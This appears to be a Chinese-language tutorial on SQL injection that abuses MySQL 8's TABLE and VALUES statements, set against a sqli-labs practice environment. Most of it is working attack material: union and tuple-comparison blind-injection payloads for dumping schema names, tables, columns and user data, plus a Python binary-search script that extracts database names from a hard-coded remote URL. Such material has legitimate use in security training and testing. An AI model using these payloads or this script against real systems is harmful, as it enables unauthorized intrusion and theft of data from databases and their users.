Mysql8新特性:table注入分析总结
字数 947 2025-08-22 12:23:30
MySQL 8 新特性 TABLE 注入分析总结
环境搭建
Docker 环境配置
-
拉取 MySQL 8.0.21 镜像:
docker pull mysql:8.0.21 -
运行容器:
docker run -d --name=mysql8 -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:8.0.21 -
修改认证方式(MySQL 8 默认认证方式与 5.x 不同):
ALTER USER 'root' IDENTIFIED WITH mysql_native_password BY '123456';
SQL 注入靶场搭建
- 下载 vulstudy 综合环境
- 启动 SQL 注入靶场
- 修改 sqli-lab 配置文件
/app/sql-connections/db-creds.inc- 填写 MySQL 连接信息
- 数据库 IP 填写宿主机 IP(如 172.30.102.102)
MySQL 8 新特性语法
TABLE 语句
功能:与 SELECT 相似,用于列出表中所有内容
语法:
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
与 SELECT 的区别:
- TABLE 始终显示表的所有列
- TABLE 不允许对行进行任意过滤,不支持 WHERE 子句
示例:
-- 等效于 SELECT * FROM t1 UNION SELECT * FROM t2
TABLE t1 UNION TABLE t2;
注入应用:
- 获取所有表名:
table information_schema.schemata;
VALUES 语句
功能:以表形式返回一组一行或多行数据,可作为表值构造函数
语法:
VALUES row_constructor_list [ORDER BY column_designator] [LIMIT number]
row_constructor_list:
ROW(value_list)[, ROW(value_list)][, ...]
value_list:
value[, value][, ...]
column_designator:
column_index
示例:
VALUES ROW(1, -2, 3), ROW(5, 7, 9), ROW(4, 6, 8) ORDER BY column_1;
注入应用:
- 判断列数(替代 order by):
select * from table where id=1 union values row(1,2,3)
盲注技术
盲注原理
使用元组比较进行盲注,比较顺序是自左到右:
select ((1, '', '') < (table user limit 1));
select ((2, '', '') < (table user limit 1));
select ((1, 'T', '') < (table user limit 1));
注意:
- 判断时后一个列名必须用字符表示,不能用数字
- 对于数据表字段爆破,建议加上
binary关键字以区分大小写
盲注脚本分析
import requests
import string
url = 'http://152.136.11.155:10111/'
chars = "0123456789_abcdefghijklmnopqrstuvwxyz{}!?"
def str2hex(name):
res = ''
for i in name:
res += hex(ord(i))
res = '0x' + res.replace('0x', '')
return res
def dbs():
for num in range(10):
i = 0
j = 0
db = ''
while True:
head = 32
tail = 127
i += 1
while head < tail:
j += 1
mid = (head + tail) // 2
payload = f"1 and ('def',{str2hex(db+chr(mid))},'',4,5,6)>(table information_schema.schemata limit " + str(num) + ",1)--+"
param = "?id=" + payload
r = requests.get(url + param)
if "psych" in r.text:
tail = mid
else:
head = mid + 1
if head != 32:
if (chr(head - 1) == ' ' and db[-1] == ' '):
break
db += chr(head - 1)
print(db)
else:
break
脚本特点:
- 采用二分法提高盲注速度
- 使用
binary字段解决大小写问题 - 包含数据库、表、列、数据的爆破功能
标准注入步骤
1. 判断列数
1 order by 2 --+
1 order by 3 --+
2. 判断回显位
1 union values row(1,2) --+
3. 爆数据库信息
爆当前数据库:
1' union values row(1,database(),3)--+
-- 或盲注
1' and ascii(substr((database()),1,1)) = 115 --+ -- s
爆所有数据库:
1 and ('def','m','',4,5,6)<=(table information_schema.schemata limit 0,1)--+ -- 正常
1 and ('def','n','',4,5,6)<=(table information_schema.schemata limit 0,1)--+ -- 错误
4. 爆数据表
1 and ('def','security','users','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 310,1)--+ -- 第一个表users
1 and ('def','security','secret','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 311,1)--+ -- 第二个表secret
5. 爆字段名
1 and ('def','security','users','id','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<=(table information_schema.columns limit 3380,1)--+ -- users表第一个字段为id
1 and ('def','security','users','username','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<=(table information_schema.columns limit 3381,1)--+ -- users表第二个字段为username
6. 爆数据
1 and (1,'d','') <= (table users limit 0,1)--+ -- 正常
1 and (1,'e','') <= (table users limit 0,1)--+ -- 错误
注意事项
- 大小写问题:MySQL 在 Linux 上默认区分大小写(
lower_case_table_names=0),但在数据表字段爆破时建议加上binary确保准确性 - 行数确定:需要爆破数据表和数据列所在的具体行数
- 列数匹配:使用 TABLE 语句时必须确保列数匹配,否则会报错
- 盲注效率:使用二分法可以显著提高盲注效率
通过掌握这些 MySQL 8 的新特性注入技术,可以在传统 SQL 注入方法受限时实现有效的数据获取。